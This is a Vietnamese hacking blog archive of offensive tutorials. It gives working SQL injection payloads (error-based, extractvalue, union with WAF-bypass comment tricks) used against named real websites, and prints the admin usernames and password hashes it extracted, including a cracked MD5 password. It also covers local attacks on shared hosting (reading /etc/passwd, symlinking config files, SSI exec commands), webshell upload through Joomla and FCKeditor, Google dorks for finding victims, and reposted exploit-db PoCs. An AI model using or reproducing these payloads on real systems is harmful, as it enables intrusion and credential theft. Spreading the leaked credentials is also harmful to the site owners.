Sunday 28 February 2016

Xpath Error Based Injection using Extractvalue

Ở các phần trước chúng ta đã tìm hiểu cơ bản về SQL Injection , các kiểu khai thác
2/ Cách khai thác:
B1: Get verion
Code:
and extractvalue(0x3a,concat(0x3a,version()))-- -
Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,version()))-- -
Result: Database Query Failed XPATH syntax error: ':5.5.45-cll-lve'
--> Biết được version database là 5.5

B2: Get database name
Code:
and
extractvalue(0x3a,concat(0x3a,database()))
Example:

http://victim.com/index.php?id=24 and 
and
extractvalue(0x3a,concat(0x3a,database()))

Result: Database Query Failed XPATH syntax error: ':nightgallery20'


B3: Get table name

Code:

and
extractvalue(0x3a,concat(0x3a,(select concat(table_name) from
information_schema.tables where table_schema=database() limit 0,1)))
Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,(select concat(table_name) from
information_schema.tables where table_schema=database() limit 0,1)))-- -

Khi tìm kiếm table chúng ta tăng giá trị Limit cho tới khi tìm thấy table
Limit N,1 ( trong đó N là số thực ).
Các bảng table có thể là admin, tbladmin, user, administrator, setting …
Limit 2,1
Limit 3,1

B4: Get column from table
Code:
and
extractvalue(0x3a,concat(0x3a,(select concat(column_name) from
information_schema.columns where table_name=0xTABLEHEX limit 0,1)))
Example:
http://victim.com/index.php?id=24 andextractvalue(0x3a,concat(0x3a,(select concat(column_name) from
information_schema.columns where table_name=0xTABLEHEX limit 0,1)))-- -

Lưu ýTableHex  Limit
TableHex ở đây là mã hex , ở trên ta tìm đc table tên ng_users, covert qua mã Hex 6e675f7573657273

Tương tự ta cũng tăng giá trị Limit tới khi tìm dc các table quan trojng như username,password

B5: Get data  from Column
Code:
and
extractvalue(0x3a,concat(0x3a,(select concat(COLUMN_NAME,0x3a,0x7e,COLUMN_NAME) from TABLE_NAME limit 0,1)))-- -
Lưu ý thay thế các trường sau:
        1.     COLUMN_NAME: where you insert the column name you want to extract information from

        2.     TABLENAME: where you insert the table name of the column names you extracted from

Example:
http://victim.com/index.php?id=24 and extractvalue(0x3a,concat(0x3a,(select concat(username,0x3a,0x7e,hashed_password) from ng_users limit 0,1)))-- -

Saturday 27 February 2016

Tool Havij SQL Injection

Havij là một tool tự động khai thác lỗi SQL Injection một trang web, giao diện khá đơn giản dễ sử dụng .Ngoài ra còn 1 số tool khai thác lỗi SQL Injection như 
 M4X SQL Injection
 ToolHBA Injector v 0.4 
 WITOOL SQL injection 
 Blind SQli dumper Tool


Run Analyze

Qua Tab Tables --> Get Tables

Chọn table users --> get columns



Chọn Column id, username, password --> Get Data


Thu được user, password 


Friday 26 February 2016

WAF Bypass mod security

Như đã trao đổi với các bạn ở trong phần trước, phần này mình sẽ nói rõ hơn và các kỹ thuật bypass WAF

Trước hết ta cần hiểu khái niệm cơ bản 
1. Firewall là gì ?
Firewall là những thiết bị hay phần mềm lọc các thông tin đi ra và vào hệ thống mạng, server .Ngăn chặn những truy cập trái phép từ bên ngoài vào những máy chủ và thiết bị bên trong hệ thống mạng.
Firewall được chia làm 2 loại: Software and Hardware firewalls.
Firewall chủ yếu làm việc ở tầng 7 Application (Web Application Firewall), và tầng 3 Network (Network Layer Firewall)

+ Network Layer Firewall:
Có khi nào bạn để ý khi bạn đang cố truy vấn SQL Injection nhiều lần 1 số site đóng các kết nối trả về ERR_EMPTY_RESPONSE

+ Web Application Firewall: 
Chúng ta thường hay gặp khi khai thác Mod Security
http://www.vanchuongviet.org/index.php?comp=tacpham&action=detail&id=-17564 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- -
Not Acceptable!
An appropriate representation of the 
requested resource could not be found on this server. This error was 
generated by Mod_Security.

Bypass:
http://www.vanchuongviet.org/index.php?comp=tacpham&action=detail&id=-17564 /*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4,5,6,7,8,9,10,11,12-- -


2. Detect the WAF:
Có nhiều tool, script phát hiện sự hiện diện của WAF như
NMAP
wafw00f
Checking the response headers

Using Nmap:
nmap -p80 --script http-waf-detect 

Fingerprinting WAF using WAFw00f
wafw00f.py 

3.Một số kiểu bypass
Bypass Payload Union Seclect

/*!UNION*/ /*!SELECT*/
/*!50000UNION*/
%55nion(%53elect)
/*!50000UniON SeLeCt*/
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

Bypass Illegal mix of collations for operation 'UNION'

1. Using UNCOMPRESS(COMPRESS(our_query_here))
http://www.Site.com/detail.php?id=31 Union Select 1,uncompress(compress(concat(table_name))),3,4,5 from information_schema.tables where table_schema=database()-- -

2. Using UNHEX(HEX(our_query_here))
http://www.Site.com/detail.php?id=31 Union Select 1,unhex(hex(concat(table_name))),3,4,5 from information_schema.tables where table_schema=database()-- -

3. Using CAST()
http://www.Site.com/detail.php?id=31 Union Select 1,cast(table_name as binary),3,4,5 from information_schema.tables where table_schema=database()-- -

4. Using CONVERT()
http://www.Site.com/detail.php?id=31 and 0 Union Select 1,convert(table_name using ascii),3,4,5 from information_schema.tables where table_schema=database()-- -


Có thể thay ascii bằng
ujis, ucs2, tis620, swe7, sjis, macroman, macce, latin7, latin5, latin2, koi8u, koi8r, keybcs2, hp8, geostd8, gbk, gb2132, armscii8, ascii, cp1250, big5, cp1251, cp1256, cp1257, cp850, cp852, cp866, cp932, dec8, euckr, latin1

Bypass 406 Not Acceptable 
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(/*!table_name*/) from information_schema./*!tables*/ where /*!table_schema*/=database()-- 

Thursday 25 February 2016

Local Attack part 2 Các phương pháp Local Attack


Các bước tấn công Local Attack
Bước 1: Xác định mục tiêu
Việc đầu tiên hacker sẽ xác định mục tiêu tấn công là site http://www.victim.com. Sau khi xác định mục tiêu, hacker sẽ tìm xem có những site nằm trên cùng server với victim. Điều này được thực hiện dễ dàng thông qua 1 số công cụ reverse ip

Whois
FreeReverseIp

Bước 2: Chiếm quyền điều khiển một site cùng server với mục tiêu
Bằng các phương pháp: SQL injection, Reverse Directory Transversal, khai thác các bug… Việc này được thực hiện cho đến khi hacker chiếm quyền kiểm soát 1 website và upload được webshell của mình lên đó.


Bước 3: Thu thập thông tin về mục tiêu

Sau khi đã có webshell, hacker sẽ dò tìm, thu thập tất cả các thông tin về website victim như chạy dưới quyền user nào, thư mục gốc, được phân quyền ra sao…


cat /etc/passwd

cat /etc/valiasse

Một số server cấm lệnh cat

Less /etc/passwd

./cat/etc/passwd

More /etc/passwd


Bước 4Tìm file path file config.php
Đối với các mã nguồn mở thì path file config được mặc định như sau:
Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html

Vbulletin: public_html/includes/config.php
PHPBB: public_html/config.php
Joomla: public_html/configuration.php
WordPress: public_html/wp-config.php
ibp: public_html/conf_global.php
php-fusion: public_html/config.php
Smf: public_html/Settings.php
phpnuke: public_html/html/config.php
Xoops: public_html/mainfile.php
ZenCart: public_html/includes/configure.php
setidio: public_html/datas/config.php
Discuz: public_html/config/config_ucenter.php
Bo-Blog: public_html/data/config.php
Nukeviet: public_html/config.php

Bước 5- Get thông tin file config
5.1 Sử dụng lệnh cơ bản như cat, dir để xem tên thư mục đọc nội dung file.
dir /home/public_html/includes
cat /home/public_html/includes/config.php

5.2 Sử dụng symbolic link - symlink
Ln -s /home/public_html/NTCA/includes/config.php soleil.ini 
Có thể hiểu đơn giản là tạo 1 file soleil.ini trên host có nội dung giống file config.php
Tuy nhiên để làm được điều này thì .htaccess có các điều kiện sau

Options +FollowSymLinks  #cho phép dùng symlink

DirectoryIndex seees.html   #vô hiệu hóa file index.html

Options +Indexes                #cho phép hiện cấu trúc thư mục


Nếu không có các điều đó bạn có thể gặp lỗi 500 Internal Server Error hoặc lỗi 403 Forbidden. Để khắc phục hiện tượng này, bạn chỉ cần tạo một file .htaccess có nội dung là 3 chỉ thị trên rồi upload lên server.

5.3 Sử dụng symlink với SSI
Đối với 1 sô server khi symbolic link bình thường xuất hiên 403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ đến đó là kết hợp với SSI.
- Tạo 1 file ducdung08clc.shtml với nội dung như sau:
<!--#include virtual="soleil.ini"-->

Trong đó file soleil.ini là file đã được symbolic link trên server.
Bây giờ view source của file ducdung08clc.shtml ta sẽ thấy đc nội dung file soleil.ini đã symbolic link.

5.4 Chạy lệnh bằng file .shtml
Các cách trên không áp dụng được, thử chạy lệnh bằng file .shtml

<!--#exec cmd="cat /etc/passwd"-->
Lệnh xem file logs như sau:
<!--#exec cmd="tail -n 10000 /var/log/httpd/domains/vhbgroup.net.error.log"-->
Lưu ý:
 + lệnh tail cũng giống như lệnh cat nhưng nó dùng để xem nhưng dòng cuối cùng của file trên server.
 + /var/log/httpd/domains/vhbgroup.net.error.log là path dẫn đến file error.log của direct admin
 + Còn path dẫn đến file error.log của cpanel là: /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến file error.log khác nhau.

Nguồn: Thao khảo ducdung08clc.blogspot.com

Wednesday 24 February 2016

Tutorial Error Based/Double Query SQL Injection


Hôm trước mình đã có giới thiệu qua kiểu khai thác Error Based/Double Query . Hôm nay mình sẽ demo 1 site bị dạng lỗi như vậy

Victim: http://nightgallery.ca/event.php?id=95

Check site có bị lỗi không
http://nightgallery.ca/event.php?id=95'
Lỗi rồi!! --> Database Query Failed You have an error in your SQL syntax

Bước 1: Get column 
http://nightgallery.ca/event.php?id=-95 order by 11-- -
Lỗi: Database Query Failed Unknown column '11' in 'order clause
--> Số cột < 11
http://nightgallery.ca/event.php?id=-95 order by 10-- -
Trang load bình thường như vậy có 10 column


http://nightgallery.ca/event.php?id=-95 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
Lỗi --> Invalid query: The used SELECT statements have a different number of columns 
Đây là dạng khai thác lỗi Error based/double query

Bước 2: Get version
http://nightgallery.ca/event.php?id=-95 or 1 group by concat_ws(0x3a,version(),floor(rand(0)*2)) having min(0) or 1--
Lỗi-->Database Query Failed Duplicate entry '5.5.45-cll-lve:1' for key 'group_key'

--> Version 5.5.45

Bước 3: Get database

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'nightgallery20~1' for key 'group_key'
--> Database : nightgallery20

Bước 4: Get Table_name

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'ng_ads~1' for key 'group_key'

Ta xác định table_name: 'ng_ads' .Tiếp tục tăng limit lên cho tới khi tìm được table có thể khai thác data quan trọng như admin, user chẳng hạn

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 15,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'ng_users~1' for key 'group_key'
--> table: ng_users

Bước 5: Get column from table
Ở đây chúng ta khai thác table ng_users. Lưu ý: convert table qua mã hexa
http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x6e675f7573657273 limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'username~1' for key 'group_key'
--> column: username 
Tiếp tục tăng limit lên
http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x6e675f7573657273 limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
--> column:hashed_password

Bước 6: Get data

http://nightgallery.ca/event.php?id=95 and (select 1 from (select count(*),concat((select(select concat(cast(concat(username,0x7e,hashed_password) as char),0x7e)) from nightgallery20.ng_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
Database Query Failed Duplicate entry 'nightgallery~$2y$10$NGFiNjIyN2Q5NTFiYzM2OOYYWmT9ERZ5fK5WyzZJNlQO' for key 'group_key'
Username: nightgallery
Password: $2y$10$NGFiNjIyN2Q5NTFiYzM2OOYYWmT9ERZ5fK5WyzZJNlQO
End tut: gh0stsec

Tuesday 23 February 2016

Local Attack Part 1


1.1 số khái niệm cần nắm:

Host và Shared Hosting
Host: Trong lĩnh vực website là 1 máy chủ web (Web server) chứa các dữ liệu lưu trữ của website như hình ảnh, nội dung, mã nguồn, database của website

Các loại Hosting cơ bản:
+ Dedicated Server (Máy chủ vật lí): Thuê 1 máy chủ riêng, toàn quyền sử dụng máy chủ đó.

+ Virtual Private Server (VPS- máy chủ ảo) : Dạng máy chủ ảo được tạo ra bằng phương pháp phân chia một máy chủ vật lý thành nhiều máy chủ khác nhau có tính năng tương tự như máy chủ riêng

+ Shared Hosting: là một gói host được sinh ra và thiết lập bởi một Dedicated Server hoặc VPS, đã được cài sẵn các ứng dụng cần thiết để làm website. Đối với cơ quan, tổ chức thì nhu cầu của họ chỉ là lưu trữ,hơn nữa giá thành thuê 1 server không phải là rẻ vì vậy shared hosting là lựa chọn.
Với shared hosting, không gian bộ nhớ trên server được chia thành nhiều host nhỏ, riêng biệt với nhau và đều cho thuê. Do vậy trên 1 server sẽ chứa dữ liệu của nhiều website và đó cũng là ngọn nguồn của cho local attack phát triển.
- Local Attack chỉ diễn ra ở các shared-server, nơi mà có nhiều site cùng được đặt trên đó. Với các site đặt trên một server riêng biệt thì tất nhiên không xảy ra hình thức tấn công này.

Webshell
Đối với hệ điều hành Linux, khái niệm shell có lẽ đã quá quen thuộc với người dùng.
Webshell là một shell với giao diện web cho phép người dùng tương tác với hệ thống. Sự ra đời của webshell đã giúp các nhà quản trị đơn giản hóa công việc quản lý server của mình rất nhiều. Các quản trị viên có thể thực hiện các thao tác như copy, xóa, di chuyển, download, upload các file… với chỉ vài cú click chuột đơn giản.

2. Local Attack là gì ?

- Local Attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng kỹ thuật Local.

3. Các bước trong Local Attack:

- Xác định các website chung sever với mục tiêu (Victim)

- Kiểm tra toàn sever ,xác định site bảo mật kém xác định site có bảo mật kém có thể tấn công bằng các hình thức: SQLI, RLI, LFI, XSS,Bugs….

- Up Shell lên website đã khai thác lỗi bảo mật

- Tiến hành local sang mục tiêu

4.Mục đích Local Attack:

- Tìm file config

- Thu thập thông tin login vào cơ sở dữ liệu của victim

- Login vào csdl, xác định username và password được mã hóa của victim

5.Các kỹ thuật Local

- Sử dụng các lệnh cơ bản: Dir, cat , less, cd ,….

- Symlink
- Backconnect
- Via SQL
- Các kỹ thuật Bypass

Một số webshell nổi tiếng : webadmin, r57, c99…

Nguồn tham khảo: ducdung08clc

Upload shell in Joomla via admin panel


Upload Shell in Joomla Via Admin Panel:

1). Giả sử chúng ta có quyền truy cập vào Panel Joomla


2). Vào Template Manager trong tab Extension:


3). Tất cả template đã cài đặt trên site này


4). Chọn template beez -->Edit HTML




Đường dẫn shell /templates/beez/index.php

5).Paste shell code lên và save lại


6). Truy cập shell với đường dẫn

www.site.com/templates/beez/index.php

Sunday 21 February 2016

Tutorial bypass 406 Not Acceptable SQL Injection


Trong các phần trước mình đã giới thiệu cách khai thác lỗi SQL Injection cơ bản nhất,
Xem lại tại đây http://gh0stsec.blogspot.com/2016/02/detailed-sql-injection.html
1 số site sẽ filter lọc chặn các câu truy vấn như Union, select, table ... Thông báo lỗi 406 Not Acceptable, hoặc bị chặn Error 403: Forbidden bởi .htaccess

Hôm nay mình sẽ demo 1 dạng bypass 406 Not Acceptable
Google dork: Designed by Viet Arrow id=

Victim: http://www.locanresort.com/index.php?do=page&id=1

Thêm giao diện thay đổi. Có thể bị lỗi 

B1: Xác định số column  
http://www.locanresort.com/index.php?do=page&id=1 order by 5-- -
giao diện site bình thường

http://www.locanresort.com/index.php?do=page&id=1 order by 6-- -
giao diện site thay đổi

--> có 5 cột
Xác định cột bị lỗi bằng truy vấn Union 

Code:
http://www.locanresort.com/index.php?do=page&id=-1 UNION SELECT 1,2,3,4,5-- -


Gặp lỗi 406 not acceptable bởi WAF chặn các câu lệnh truy vấn như Union,Select,Table.(vấn đề bypass WAF mình hẹn dịp sau sẽ viết 1 bài khác chi tiết về nó).
Thử: /*!UNION*/ /*!SELECT*/ hoặc /*!50000UNION*/  

Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5-- -


Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,/*!@@version*/-- -

version  >=5: 5.5.48-cll có thể sử dụng group_concat

B2 Lấy thông tin table_name 
Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(/*!table_name*/) from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
Ta lấy được các table
admin,banner,maillist,page,photos


B3 Lấy column từ table
Ở đây ta lấy table admin chuyển sang mã hexa.
Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(/*!column_name*/) from information_schema./*!columns*/ where /*!table_name*/=0x61646d696e-- -
--> Ta lấy được các column
id,username,password


B4 Lấy Data 


Code:
http://www.locanresort.com/index.php?do=page&id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,group_concat(id,0x3a,username,0x3a,password) from admin-- -

User:     locanresort
Password: 5abc9c5bef1682020e4b2a9eed03581d      


Ở đây mình dùng Tool ZER0FREAK'S HASH IDENTIFIER biết được password hash Md5.
http://www.md5online.org/ 
5abc9c5bef1682020e4b2a9eed03581d = chihuong 
Các bạn có thể dùng Tool tìm link admin mình đã có share trong Attack SQL Injection phần 3
End tut: gh0stsec

     

Advanced IP Scanner

Quản lý máy tính từ xa- Advanced IP Scanner

Advanced IP Scanner là ứng dụng quét mạng miễn phí, hoạt động nhanh và rất dễ sử dụng dành cho người dùng Windows. Chỉ trong vài giây, công cụ này sẽ tìm ra tất cả các máy trong mạng và cung cấp cách truy cập dễ dàng vào các nguồn tài nguyên của chúng, ví dụ như HTTP, HTTPS, FTP hoặc folder đã chia sẻ. Với Advanced IP Scanner, người dùng có thể bật và tắt máy từ xa.

Tính năng chính của phần mềm

Quét mạng nhanh chóng

Với Advanced IP Scanner, bạn có thể quét hàng trăm địa chỉ IP cùng một lúc với tốc độ cao. Phần mềm này có khả năng quét các cổng của máy tính và tìm kiếm HTTP, HTTPS, FTP và thư mục chia sẻ. Quét mạng của bạn (bao gồm cả Wi-Fi) để có thêm thông tin về tất cả thiết bị được kết nối, bao gồm cả: tên máy tính và địa chỉ MAC.

Tích hợp với phần mềm truy cập từ xa Radmin

Nhờ đó, cho phép bạn quét mạng của mình và tìm kiếm tất cả máy tính đang chạy Radmin Server và kết nối với bất kỳ máy tính nào chỉ với một cú nhấp chuột. Ngoài ra, Radmin Viewer miễn phí cần được cài đặt trên máy tính để bạn có thể truy cập một máy tính từ xa mà đang chạy Radmin Server. Với Radmin, bạn có thể kết nối máy tính từ xa ở chế độ Full Control, File Transfer, Telnet, chỉ xem, tắt máy, trò chuyện hoặc gửi tin nhắn.

Tắt máy tính từ xa

Người dùng có thể lên lịch trình để tắt bất kỳ máy tính từ xa hoặc một nhóm máy tính chạy trên hệ điều hành Windows. Bạn có thể sử dụng quyền truy cập mặc định hoặc xác định một mật khẩu và tên đăng nhập để tắt. Tính năng này rất hữu dụng đối với quản trị viên hệ thống bởi vì nó cho phép tất cả máy tính trong danh sách tùy chỉnh sẽ được tắt chỉ trong một lần thao tác duy nhất vào cuối mỗi ngày làm việc.

Wake-On-LAN

Bạn có thể khởi động bất kỳ máy tính nào hoặc một nhóm máy tính từ xa bằng cách sử dụng Advanced IP Scanner nếu card mạng của máy hỗ trợ tính năng Wake-On-LAN.

Chạy lệnh trên một máy tính từ xa

Người dùng sẽ có cơ hội khởi chạy nhanh chóng các lệnh như: ping, tracert, telnet và SSH trên một máy tính được lựa chọn.
Link: Download

Saturday 20 February 2016

WordPress User Meta Manager Plugin 3.4.6 - Blind SQL Injection



* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description

================================================================================

AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta
Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection
attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET
param.PoC

================================================================================

curl -c ${USER_COOKIES} \

"http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\

&umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"

Timeline

================================================================================



2015/12/28 - Discovered

2015/12/29 - Vendor notified via support forums in WordPress.org

2015/12/29 - Vendor notified via contact form in his site

2016/01/29 - WordPress security team notified about the issue

2016/02/02 - Vendor released version 3.4.7

2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution

================================================================================

Update to version 3.4.7

Nguồn: exploit-db

Wordpress SP Client Document Manager Plugin 2.4.1 - SQL Injection



Vulnerability title: Multi SQL Injection in SP Client Document Manager plugin
CVE: N/A
Vendor: http://smartypantsplugins.com
Plugin: SP Client Document Manager
Download link: https://wordpress.org/plugins/sp-client-document-manager/
Affected version: version 2.4.1 and previous version
Google dork: inurl:wp-content/plugins/sp-client-document-manager
Fixed version: N/A
Reported by: Dang Quoc Thai - thai.q.dang@itas.vn - Credits to ITAS Team - www.itas.vn
Timeline:   + 10/30/2014: Notify to vendor - vendor does not response
            + 11/08/2014: Notify to vendor - Vendor blocks IPs from Viet Nam
            + 11/05/2014: Notify to vendor - vendor does not response
            + 11/20/2014: Public information


Details:

The Blind SQL injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URL and parameter has been confirmed to suffer from blind SQL injection:

Link 1:

POST /wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=email-vendor HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://server/wordpress/?page_id=16
Cookie: wordpress_cbbb3ecca6306be6e41d05424d417f7b=test1%7C1414550777%7CxKIQf1812x9lfyhuFgNQQhmDtojDdEnDTfLisVHwnJ6%7Cc493b6c21a4a1916e2bc6076600939af5276b6feb09d06ecc043c37bd92a0748; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_cbbb3ecca6306be6e41d05424d417f7b=test1%7C1414550777%7CxKIQf1812x9lfyhuFgNQQhmDtojDdEnDTfLisVHwnJ6%7C7995fe13b1bbe0761cb05258e4e13b20b27cc9cedf3bc337440672353309e8a3; bp-activity-oldestpage=1
Connection: keep-alive
Content-Length: 33
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

vendor_email[]=<SQL Injection>


Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1516 -> 1530)
    function email_vendor()
    {
        global $wpdb, $current_user;
        if (count($_POST['vendor_email']) == 0) {
            echo '<p style="color:red;font-weight:bold">' . __("Please select at least one file!", "sp-cdm") . '</p>';
        } else {
            $files = implode(",", $_POST['vendor_email']);
            echo "SELECT *  FROM " . $wpdb->prefix . "sp_cu  WHERE id IN (" . $files . ")"."\n";
            $r     = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu  WHERE id IN (" . $files . ")", ARRAY_A);



Link 2:
 http://server/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=download-project&id=<SQL Injection>

GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=download-project&id=<SQL Injection> HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c
Connection: keep-alive

Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1462 -> 1479)

function download_project()
    {
        global $wpdb, $current_user;
        $user_ID     = $_GET['id'];
        $r           = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu   where pid = $user_ID  order by date desc", ARRAY_A);
        $r_project   = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu_project where id = $user_ID  ", ARRAY_A);
        $return_file = "" . preg_replace('/[^\w\d_ -]/si', '', stripslashes($r_project[0]['name'])) . ".zip";
        $zip         = new Zip();
        $dir         = '' . SP_CDM_UPLOADS_DIR . '' . $r_project[0]['uid'] . '/';
        $path        = '' . SP_CDM_UPLOADS_DIR_URL . '' . $r_project[0]['uid'] . '/';
        //@unlink($dir.$return_file);
        for ($i = 0; $i < count($r); $i++) {
            $zip->addFile(file_get_contents($dir . $r[$i]['file']), $r[$i]['file'], filectime($dir . $r[$i]['file']));
        }
        $zip->finalize(); // as we are not using getZipData or getZipFile, we need to call finalize ourselves.
        $zip->setZipFile($dir . $return_file);
        header("Location: " . $path . $return_file . "");
    }

Link 3:
 http://server/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=download-archive&id=<SQL Injection>

GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=download-archive&id=<SQL Injection> HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c
Connection: keep-alive
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1480 -> 1496)


function download_archive()
    {
        global $wpdb, $current_user;
        $user_ID     = $_GET['id'];
        $dir         = '' . SP_CDM_UPLOADS_DIR . '' . $user_ID . '/';
        $path        = '' . SP_CDM_UPLOADS_DIR_URL . '' . $user_ID . '/';
        $return_file = "Account.zip";
        $zip         = new Zip();
        $r           = $wpdb->get_results("SELECT *  FROM " . $wpdb->prefix . "sp_cu   where uid = $user_ID  order by date desc", ARRAY_A);
        //@unlink($dir.$return_file);
        for ($i = 0; $i < count($r); $i++) {
            $zip->addFile(file_get_contents($dir . $r[$i]['file']), $r[$i]['file'], filectime($dir . $r[$i]['file']));
        }
        $zip->finalize(); // as we are not using getZipData or getZipFile, we need to call finalize ourselves.
        $zip->setZipFile($dir . $return_file);
        header("Location: " . $path . $return_file . "");
    }

Link 4: http://server/wordpress/wp-content/plugins/sp-client-document-manager/ajax.php?function=remove-category&id=<SQL Injection>

GET /wp-content/plugins/sp-client-document-manager/ajax.php?function=remove-category&id=<SQL Injection> HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=4f7eca4e8ea50fadba7209e47494f29c
Connection: keep-alive
Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 1480 -> 1496)

Vulnerable file:/wp-content/plugins/sp-client-document-manager/classes/ajax.php
Vulnerable code: (Line: 368 -> 372)

    function remove_cat()
    {
        global $wpdb, $current_user;
        $wpdb->query("DELETE FROM " . $wpdb->prefix . "sp_cu_project WHERE id = " . $_REQUEST['id'] . "   ");
        $wpdb->query("DELETE FROM " . $wpdb->prefix . "sp_cu WHERE pid = " . $_REQUEST['id'] . "  ");
}

Nguồn: exploit-db.com
Author: ITAS Team

Exploit Upload File FCKeditor

Khai thác lỗi FCK trên Website giúp chúng ta có up file bất kỳ lên Web của nạn nhân mà không cần quyền Admin.
Hôm này mình sẽ hướng dẫn các bạn khai thác lỗi này, lưu ý: Các bạn không lên lợi dụng để phá hoại hoặc làm tổn hại đến Website của người khác
Cách thức tiến hành:
Bước 1: Vào Google gõ lệnh
Bước 2: Vào 1 trong các Website được Google liệt kê, để tiến hành khai thác lỗi
Bước 3:
Nhấn vào link uploadtest.html
Sẽ xuất hiện một bảng upload ở đây

Lưu ý:
  • Select the “File Uploader” to use: Chọn PHP
  • Upload a new file: Up 1 file txt lên xem nào. Ở trong hình tôi sẽ up file hacked.txt
  • Nhấn Send it to Server để upload
Uploaded File URL: Đây là đường dẫn file đã được upload lên Website.
